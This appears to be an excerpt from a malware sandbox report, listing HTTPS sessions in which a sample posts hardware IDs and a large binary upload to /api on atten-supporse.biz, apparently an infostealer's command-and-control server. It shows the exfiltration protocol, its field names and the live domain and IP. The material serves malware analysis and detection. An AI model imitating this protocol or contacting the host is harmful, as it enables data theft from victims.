3/1cQlVdhL/IUsuWuD9SkSkhsgB42L2fCFmXDclKVynX/w1XGw7A9shplJb4L1iKSXHrXi3R4stuTNBTmQoAKtfpDRZVW5O7hm6XxKZ8HNJbHIIrcsOp3ClkrirAVE03kI9zZkpRgvqubpPV4DFKyVx6/C913qHdKRreS84EGHiyvEBUVVHQmYJ9iNmnP0SREGLkTn7EvN8hXdwM0EMAdte/DQkbV5iohWKCmqZxBJEDbKVOaY70gWAagkuSBAc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49937	104.21.64.1	443	5228	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:45 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OT10U7WM1MMC4I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 556172 Host: atten-supporse.biz
2024-12-10 04:10:45 UTC	15331	OUT	Data Raw: 2d 2d 4f 54 31 30 55 37 57 4d 31 4d 4d 43 34 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 37 32 37 41 39 33 35 43 35 34 35 30 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4f 54 31 30 55 37 57 4d 31 4d 4d 43 34 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4f 54 31 30 55 37 57 4d 31 4d 4d 43 34 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4f 54 Data Ascii: --OT10U7WM1MMC4IContent-Disposition: form-data; name="hwid"16727A935C54506723D904AF30EFEBBC--OT10U7WM1MMC4IContent-Disposition: form-data; name="pid"1--OT10U7WM1MMC4IContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--OT
2024-12-10 04:10:45 UTC	15331	OUT	Data Raw: ac d9 be 6b aa d2 2b be aa 37 f9 f3 e9 3b b3 b9 8a bb 8e b9 ce df a9 08 c6 78 73 bc 96 05 d0 6e 5b 26 b6 10 64 0e 61 a9 92 e3 33 73 c3 31 75 70 2c 5d f7 8a 3c a0 5a 15 85 04 d9 34 18 5c fa dd e4 2c b5 81 2b bf 9a 82 fc 2b 66 6b 3d 5c be 77 4b ef 4f 5e 90 c5 c1 71 6b 5c 28 1e 53 ed 45 26 d7 e4 15 ab b5 78 fd 9c 7d 23 87 9c 95 e0 cc 1b 85 68 5c 94 a2 03 c3 81 e0 af 24 f3 4f 90 d8 a4 33 24 74 fa 65 2d 5a 32 4e dc 79 f6 0a 23 63 65 7b d5 52 16 d6 bd 44 5c a4 cd 86 28 bf 48 4d ad 0f 59 d1 f6 c0 70 f0 ea 4c a2 e0 7a eb 5c e9 2b 62 d7 95 f8 94 d3 5e 9a df cf 44 a6 78 a3 3e c8 a0 56 20 05 ef f5 eb 3d f2 dd 7c db a4 19 5c f6 97 66 43 ed 4d b0 9c 9d 1e 9b 6f 3b 6f 54 28 de 83 0a 0a 0f d2 9e d6 cb 53 95 29 c8 cc c5 d3 dc b3 b9 15 99 b5 b1 d4 b8 f3 14 86 51 34 e1 84 Data Ascii: k+7;xsn[&da3s1up,]<Z4\,++fk=\wKO^qk\(SE&x}#h\$O3$te-Z2Ny#ce{RD\(HMYpLz\+b^Dx>V =\|\fCMo;oT(S)Q4
2024-12-10 04:10:45 UTC	15331	OUT	Data Raw: 87 0b 2d b7 5e 96 15 5f e8 2d e3 e0 a0 a2 f1 13 8a 95 87 d0 51 f9 13 4c da 91 5b f2 e0 ee 74 4b 41 4c e5 87 0f 31 12 a9 ca 9e 1b 7d 9a 94 d3 c6 9f f3 77 4d a0 85 d9 a3 c9 49 17 7e ef ee e2 99 af 7c 10 6e 52 82 56 30 ae b9 d0 f7 d8 28 82 7e c8 98 2c 4d 7e a3 2c bc 48 63 f0 02 d8 07 ab 57 52 58 6a b4 94 67 8f 86 3a 9d e9 d3 39 a5 13 cf 17 e5 bf 7e 1c f2 29 df ee 4a f2 2d 7d e1 5e f1 cd e6 fe e6 6e b7 e9 ce b7 f3 cd 1a ad 5e 23 e4 19 e3 8f 43 11 be e5 ad b7 da 08 d3 95 bf 08 68 61 cc 84 f0 ad fa f8 23 1b e9 ba 60 49 17 0d d2 e8 f4 a1 19 b7 f5 b0 9e 5b c4 45 97 6b e5 9d dc 5b d3 f7 b8 e2 d5 59 fa 14 5c fb 84 88 38 55 fe 46 f3 a9 68 19 e0 37 ef 3f 89 96 f8 68 e8 c5 fe 8b bc 44 5d 88 8e 1a be fb f6 ff 19 31 5e 8d b4 f0 54 d7 d6 d7 ee ff 7d 8f e2 9f ff 69 bd c2 Data Ascii: -^_-QL[tKAL1}wMI~\|nRV0(~,M~,HcWRXjg:9~)J-}^n^#Cha#`I[Ek[Y\8UFh7?hD]1^T}i
2024-12-10 04:10:45 UTC	15331	OUT	Data Raw: 74 7b de 60 10 97 63 56 90 fd ae 66 5f eb f6 c8 98 3a ea 44 8f c9 98 ac 54 c0 59 cd c1 69 b0 48 0c 23 d7 d2 de eb b6 d2 43 e5 f2 de e3 c8 84 1d 84 7b 87 31 ce 4b aa 73 9e d7 89 32 a1 da 98 16 62 ba 0f 10 1c 2c 0e a3 ee e7 3c 5d 9a 8d dd b1 79 39 32 48 cb 08 8e a6 7e 68 ff e5 91 ee 1c 24 0b ab fd 9c 4e 93 5e 87 50 82 1c 82 e0 97 ce 46 af 2d b4 78 e0 c7 db 19 5a a9 ec 18 bb 42 60 75 58 72 6a bf e8 3f 55 9b 53 a2 60 fe 83 cf 5e 4c 44 20 7f ad 76 a4 33 cd 40 69 f6 e5 41 62 72 d0 98 9b e6 cc ae ab 50 77 f9 8d 07 ab c7 07 42 41 74 8f 31 6c aa 78 3d d2 e7 51 de 88 b6 9e dd 6a fc 07 47 87 b5 e5 60 24 73 54 1f 5a a1 e7 2e d0 59 5d d5 75 ec 7c 1d d9 0e ec b0 cd 9f ee c9 27 77 d7 1e 3f 64 ef b7 c9 be 42 aa d3 36 3f e4 fd 75 d1 e6 cb eb e7 ed 17 30 9d a7 d6 d8 c3 21 Data Ascii: t{`cVf_:DTYiH#C{1Ks2b,<]y92H~h$N^PF-xZB`uXrj?US`^LD v3@iAbrPwBAt1lx=QjG`$sTZ.Y]u\|'w?dB6?u0!
2024-12-10 04:10:45 UTC	15331	OUT	Data Raw: 05 a1 7a 9b 0a 5a f9 bd df 0f b7 4b c5 ce f3 17 24 a8 83 a5 a7 e1 ae 77 62 d0 91 bb bb 8e 7b 34 96 51 33 ad 0a c2 8c 98 fb 99 7c 00 0e 19 4c d7 c2 04 c8 46 ca 10 32 a5 0d 53 0c a2 69 a9 8f a3 08 c2 b5 1b 8d 7e 22 2c 81 f9 48 f2 f3 d9 6b 97 c2 ce 12 1d 5f c2 09 1e f9 41 4c fe 83 ea 90 b6 66 22 59 55 18 3b 5a 19 c7 3d f2 f3 51 68 4c 9f 79 2a 2c fa 63 6f 4e e1 c9 4f 5d df c4 9e 6e 65 c7 1b c5 b1 27 6f e7 40 e2 6b 11 d1 01 ad 35 7a 60 3c c4 04 6c de d8 9f bc 04 95 99 96 9a b6 99 12 73 e6 8a 11 c0 32 6c 22 01 2e 24 c9 e9 5d 07 14 73 13 f8 19 c2 c8 7d 19 71 bf e9 1f d5 54 cd e3 ec 87 91 ac 84 13 2f dd 82 67 f0 83 36 94 21 d9 88 1f 2b f6 79 e8 a2 38 d5 cb 9e 49 af 0d ab ac 59 24 a4 2a 24 73 83 03 c7 ff 5f 16 12 f4 2c 01 35 0c 84 94 f5 1c 0b 9c 00 63 ad 73 07 ed Data Ascii: zZK$wb{4Q3\|LF2Si~",Hk_ALf"YU;Z=QhLy,coNO]ne'o@k5z`<ls2l".$]s}qT/g6!+y8IY$$s_,5cs
2024-12-10 04:10:45 UTC	15331	OUT	Data Raw: af 60 95 17 b6 a5 68 12 32 44 f3 3f 5e 4a 42 86 66 ab e2 ec 6b 33 a3 aa b0 6c 81 23 83 51 be dc 27 2d c7 af 2d 78 15 38 45 2a 0d 92 d2 85 f2 4f 5e aa b1 04 f9 9f ec 08 b1 31 9a 35 2f de 5d c6 58 8a 83 8d 37 23 e2 60 d4 a5 05 1a 6f 25 8a f7 b6 ac 3b ea 67 19 f1 d8 01 c4 7e 7b 2c 65 8e 70 03 35 61 da ea 18 3c 21 7b b9 aa 6c 31 d5 89 47 d0 64 a2 cc 5c 3f 0e 1d e5 4f c8 60 7a 40 c4 a1 30 02 c1 b8 9c 2d be b1 18 6e 1d b3 ae 61 3c dc 5a 06 5d a0 4c 1e b3 39 0e 25 c4 06 75 2f a6 a2 80 e5 d5 9d 65 ec fa 16 59 2b 5d 4a 9d e9 0c c7 d1 c0 36 4f b1 95 7e 34 08 d7 53 30 96 4c 4b 5e 74 23 e0 23 e4 98 cf 7e 09 2f fb f1 8b 87 ec 11 d7 28 a3 aa 70 65 07 9e 95 ac a7 7e 74 6b 81 56 da 89 05 cc fb f0 85 d4 1f 92 21 93 f1 7a c4 72 6e 30 3e fd 24 7d 08 49 fe 31 3d 48 12 06 bc Data Ascii: `h2D?^JBfk3l#Q'--x8E*O^15/]X7#`o%;g~{,ep5a<!{l1Gd\?O`z@0-na<Z]L9%u/eY+]J6O~4S0LK^t##~/(pe~tkV!zrn0>$}I1=H
2024-12-10 04:10:45 UTC	15331	OUT	Data Raw: 22 ca ff 66 ae 62 40 cc 3b d2 86 4a 5e 0d 7e f3 63 e5 3b 4b ca 5b 38 76 9e 34 fd e7 f8 72 11 8c 60 76 01 34 6d 2f 02 62 60 1a 2e 9a 3d 43 e5 cf 0c 14 3f a4 bd bb b7 79 dd 58 7b 80 34 cd 77 45 3c cd 8e 76 4d 17 f4 71 8e a1 b2 91 e4 72 23 6d cf 63 04 7a a7 ae 83 b6 38 a4 a9 6c fd c2 c2 4c 89 79 e8 e1 f6 e2 8d 45 37 01 58 c6 31 ed 1b f0 6b 23 36 ba 74 a9 3b b0 8a 26 df e8 f5 88 98 88 b0 6e 3d 22 9a 82 d5 34 4b 5a 3f 30 fd 1e d7 56 06 db 81 a9 58 27 93 fd 7d ff d4 76 c5 9f 4a 3e 1d bc 07 7d 1a 97 a0 d6 32 76 de c8 a3 54 6b 03 37 ab f6 cd fb 75 f1 d9 0a b5 17 51 a5 32 bd 15 d0 5e 97 f2 ff a0 4a 87 86 d4 99 b3 fe 28 0b 44 44 d5 37 33 9a 32 84 83 14 88 4a e9 21 58 0f d8 9e 76 fa 86 a7 96 0b 89 1c f6 cd 85 b2 8f ef ae 9c 63 ef e7 ef 87 e3 8e e5 99 fe fd b7 21 de Data Ascii: "fb@;J^~c;K[8v4r`v4m/b`.=C?yX{4wE<vMqr#mcz8lLyE7X1k#6t;&n="4KZ?0VX'}vJ>}2vTk7uQ2^J(DD732J!Xvc!
2024-12-10 04:10:45 UTC	15331	OUT	Data Raw: 91 4e 19 02 e2 d2 d1 ae 99 12 fd c7 be c0 eb 67 65 45 ad 47 1e 98 a6 b4 30 97 0c 3a 28 8b fd eb b7 9b cf e6 d5 df e5 1f 9a 77 86 ab 25 e9 cd 55 20 39 2d 3c 5c ad 04 cd 5a 17 41 0c 0f 00 f2 35 2c b8 96 da 14 29 b2 73 ea f7 bf 3b 17 61 80 b0 58 3f ba c8 9e 1d 1e 65 27 24 50 5d 10 54 c7 7f dc e5 d3 e3 6f 0c e7 97 ae 90 d9 05 79 29 2f 0f 7e 3c 70 08 b7 b5 d9 42 70 85 33 71 a3 2a ff be 12 63 0e 3b f0 66 74 96 fa ee b9 3e 72 0e 78 13 ec ad 88 77 6a 6d ec f4 b0 a0 d9 14 88 73 7c 32 d8 53 a2 08 26 cb 60 86 21 e8 5e 3b 5e 70 68 d9 0e 9f 58 26 3f 7d 98 d7 9a d0 5a c5 5e 70 6c e7 c4 76 6a fb 60 c4 e6 50 6e 30 80 28 cc c1 a5 18 e9 22 0f 1a 5a 2c 27 18 cc 29 9f 65 c8 5d 1a 93 1b 8a 9b 85 21 66 ec 00 5a ad f5 0f 21 92 ff 73 03 c9 83 68 dc cc 58 a6 4a 7d e6 ae d8 09 e3 Data Ascii: NgeEG0:(w%U 9-<\ZA5,)s;aX?e'$P]Toy)/~<pBp3q*c;ft>rxwjms\|2S&`!^;^phX&?}Z^plvj`Pn0("Z,')e]!fZ!shXJ}
2024-12-10 04:10:45 UTC	15331	OUT	Data Raw: d5 53 66 b6 05 9c 18 34 f8 f7 9b 83 19 b4 d4 92 62 b3 cc 98 72 e9 b8 a2 ba 27 17 a8 e5 c3 b1 1c 28 76 60 9b aa fd e7 b0 d4 a5 d9 0f 86 c8 28 61 20 2b 13 3d 9c 54 a0 fa f4 32 7e d8 0a 57 c0 4f 2c 14 18 37 fa 69 22 cb 77 59 d6 71 03 1a 93 ee ee c6 c6 df 9a 53 68 27 3e 69 ff 05 2f 9c d7 5e f9 c4 3b f5 86 6e 62 65 c8 a9 54 69 b6 8a 75 18 c8 03 a8 89 89 58 cb 50 11 d7 6f f2 b5 b6 1c 50 55 6c b8 ee 9a 63 f8 8a b1 ae 4b 33 3a b8 80 6f 8a 15 b2 1d 09 17 36 72 2b 14 36 85 f0 1b 82 60 f0 61 cc 85 a3 da f1 14 dd a5 d4 e5 8e e6 68 0f 0d 4e 11 fe 18 59 4d 69 d1 06 a1 ff 70 f8 bb 2d ac 21 9a 0e 0a ed 61 dd d9 8b 75 32 70 5c 68 08 70 70 db 4b 7c ab 3b a7 42 9d 3f 8c 5f f0 01 15 79 c0 5d 08 88 5e f1 48 17 89 a7 72 f2 c5 8d 33 a2 ac 0b 5a f8 36 a3 02 e5 63 d2 c3 d1 f3 2e Data Ascii: Sf4br'(v`(a +=T2~WO,7i"wYqSh'>i/^;nbeTiuXPoPUlcK3:o6r+6`ahNYMip-!au2p\hppK\|;B?_y]^Hr3Z6c.
2024-12-10 04:10:45 UTC	15331	OUT	Data Raw: e6 f7 d1 5b 3b 73 fd 6a 7f 04 47 07 53 1b a8 4e 4b e5 aa a0 8e c1 a9 1b df 4d 07 cf ba d3 af 86 e7 73 bc 6e d6 1e 59 35 a0 0f 58 79 fa 2c a6 50 fc 3d d7 09 53 e9 c3 0d 0d d4 ea 23 7c ab 60 b9 bc 53 8f 5e 85 86 79 d7 57 9a b7 f5 71 43 9d d5 ec 8f b1 11 05 61 23 0b ac 7b 53 68 41 20 4a cf b0 d3 6d af 2e 9d 8c 8f 06 de df 3f 1e 2b 7f 4b e6 79 90 7b d5 3d 94 b1 50 3a ac e0 68 53 6e 0a a8 d7 a2 2d 3d 2a f5 fe 2c 6a 71 b9 56 cf 87 8d 8f 89 f1 aa 7e f2 09 4b eb 28 5a 41 4c 57 b0 e8 ad 73 c7 6d 39 01 47 d5 35 6f 88 9a b6 5d b9 03 cc 7b 61 06 fe df 54 33 8c fc df de 0d 1e cc 73 50 78 80 93 1f 04 ac 51 d3 5b 8e df 17 e3 e1 76 cb 6c 8a eb f1 f9 2f d1 ee 13 1a af 7d 59 d8 95 bb c2 0c 8e 88 13 da 79 56 36 5d ae 7c e4 82 a7 ed dc be 54 b9 db 0b 3e df ee 02 94 71 91 f7 Data Ascii: [;sjGSNKMsnY5Xy,P=S#\|`S^yWqCa#{ShA Jm.?+Ky{=P:hSn-=*,jqV~K(ZALWsm9G5o]{aT3sPxQ[vl/}YyV6]\|T>q
2024-12-10 04:10:49 UTC	1030	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vgsaih83db9ie7if06ar2cdgdb; expires=Fri, 04-Apr-2025 21:57:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bbda8WT2L1B8jUQQSDfVJo70G4vx0acmB7tpK0JwrX%2BtFvx8uTmdvQhmNRUxoedOtfNKwXmDYdkEYguspdfIgmtaFAkTn5IjcGWQ1%2B%2FT16h39syKjpbqu%2FK%2BYR6jkv44oyMxg8g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa63156d2b1819-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=27693&min_rtt=1559&rtt_var=16155&sent=309&recv=579&lost=0&retrans=0&sent_bytes=2846&recv_bytes=558673&delivery_rate=1872995&cwnd=215&unsent_bytes=0&cid=734aa05b45243e07&ts=4152&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49948	104.21.64.1	443	2576	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:48 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JTH7LFMI9M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12793 Host: atten-supporse.biz
2024-12-10 04:10:48 UTC	12793	OUT	Data Raw: 2d 2d 4a 54 48 37 4c 46 4d 49 39 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 37 32 37 41 39 33 35 43 35 34 35 30 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4a 54 48 37 4c 46 4d 49 39 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 54 48 37 4c 46 4d 49 39 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4a 54 48 37 4c 46 4d 49 39 4d 0d 0a 43 6f Data Ascii: --JTH7LFMI9MContent-Disposition: form-data; name="hwid"16727A935C54506723D904AF30EFEBBC--JTH7LFMI9MContent-Disposition: form-data; name="pid"2--JTH7LFMI9MContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--JTH7LFMI9MCo
2024-12-10 04:10:49 UTC	1029	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ebvukgdb0eqlg8hjihj4103fk5; expires=Fri, 04-Apr-2025 21:57:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9PcfpFHrNxLi%2FUAh1F4YZQlZGTIkRATuCXzLkW1DTaPu1Cq3NOClIp%2B5EQIvlJwDCQSSO2mglezC7jO%2B5haNOQv6YAzX%2F9%2B3636mcz2xm4Q5orLxeEguc%2BzR9m%2BIxTB5Vb%2BiZd4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa6325d8298cec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2034&min_rtt=2017&rtt_var=769&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13727&delivery_rate=1447694&cwnd=204&unsent_bytes=0&cid=5abc75cbb231ccdb&ts=981&x=0"
2024-12-10 04:10:49 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 04:10:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49967	104.21.64.1	443	5228	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:52 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-10 04:10:52 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 31 36 37 32 37 41 39 33 35 43 35 34 35 30 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=16727A935C54506723D904AF30EFEBBC
2024-12-10 04:10:52 UTC	1023	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=84let2gv5ukjq5kqpvemqpml4l; expires=Fri, 04-Apr-2025 21:57:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BSWk26yS%2Fc8PAdXx8KSJhhLkTeMUZXdpDZy7LDIayN041EdHQwpy5u7%2FvgFFP6U1vI1H5EduyX%2FUt8w9AGD%2BmQs74aE4YJp%2FqKoZ482CMEgfl8ZmTnkJxQ%2BlladyRWwzMigy1Oo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa633dbcbc1819-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1472&min_rtt=1465&rtt_var=564&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=1914754&cwnd=215&unsent_bytes=0&cid=9a3d359aebbd0904&ts=729&x=0"
2024-12-10 04:10:52 UTC	214	IN	Data Raw: 64 30 0d 0a 68 71 50 70 50 51 76 4d 57 39 6c 65 32 47 37 67 59 47 32 6b 43 6f 78 50 70 51 58 33 74 2b 66 52 4e 6c 70 63 62 6a 72 73 70 50 33 64 32 4d 74 49 4b 66 5a 35 73 53 71 73 48 74 6f 38 51 76 67 6c 76 58 65 51 4b 38 57 47 30 76 38 48 61 32 39 41 43 39 72 34 30 75 6e 46 6a 32 45 6b 71 44 36 2f 63 4c 30 57 68 55 4a 42 68 6d 7a 34 62 5a 38 31 32 35 57 43 38 77 78 72 49 55 4a 42 7a 74 48 66 76 49 47 42 53 58 2b 38 59 59 56 78 68 45 48 52 57 46 69 4b 4f 4c 31 36 69 7a 54 47 68 4d 6e 67 41 41 5a 7a 48 55 36 4a 78 5a 44 61 6a 4a 74 63 5a 61 67 30 74 48 43 39 46 6f 56 43 51 59 5a 73 2b 47 32 66 4e 64 75 56 67 76 4d 4d 61 69 45 7a 0d 0a Data Ascii: d0hqPpPQvMW9le2G7gYG2kCoxPpQX3t+fRNlpcbjrspP3d2MtIKfZ5sSqsHto8QvglvXeQK8WG0v8Ha29AC9r40unFj2EkqD6/cL0WhUJBhmz4bZ8125WC8wxrIUJBztHfvIGBSX+8YYVxhEHRWFiKOL16izTGhMngAAZzHU6JxZDajJtcZag0tHC9FoVCQYZs+G2fNduVgvMMaiEz
2024-12-10 04:10:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49972	104.21.64.1	443	2576	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:53 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0NNOXV6AUU859P4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15065 Host: atten-supporse.biz
2024-12-10 04:10:53 UTC	15065	OUT	Data Raw: 2d 2d 30 4e 4e 4f 58 56 36 41 55 55 38 35 39 50 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 37 32 37 41 39 33 35 43 35 34 35 30 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 30 4e 4e 4f 58 56 36 41 55 55 38 35 39 50 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 4e 4e 4f 58 56 36 41 55 55 38 35 39 50 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --0NNOXV6AUU859P4Content-Disposition: form-data; name="hwid"16727A935C54506723D904AF30EFEBBC--0NNOXV6AUU859P4Content-Disposition: form-data; name="pid"2--0NNOXV6AUU859P4Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-10 04:10:54 UTC	1024	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e7j4h06k6baa2mc645v9i1qd1j; expires=Fri, 04-Apr-2025 21:57:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wgYDLZnfrv%2BqAHZQokNlmbX3UsdksXVvB1yXZCjNMsKpbsZY6Wn7OdnzAOoJtXvwzIg3luYQNzi4n7QO3H96iVj%2FeqzYFFcbODsqXL%2FtX%2BtzmChaJxM6DE4xh0hsna5lP%2FmujBc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa63428f528cec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1983&min_rtt=1979&rtt_var=752&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16004&delivery_rate=1446977&cwnd=204&unsent_bytes=0&cid=7a03fa8797f78e92&ts=1545&x=0"
2024-12-10 04:10:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 04:10:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49993	104.21.64.1	443	2576	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:58 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Q5ETU3OK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20513 Host: atten-supporse.biz
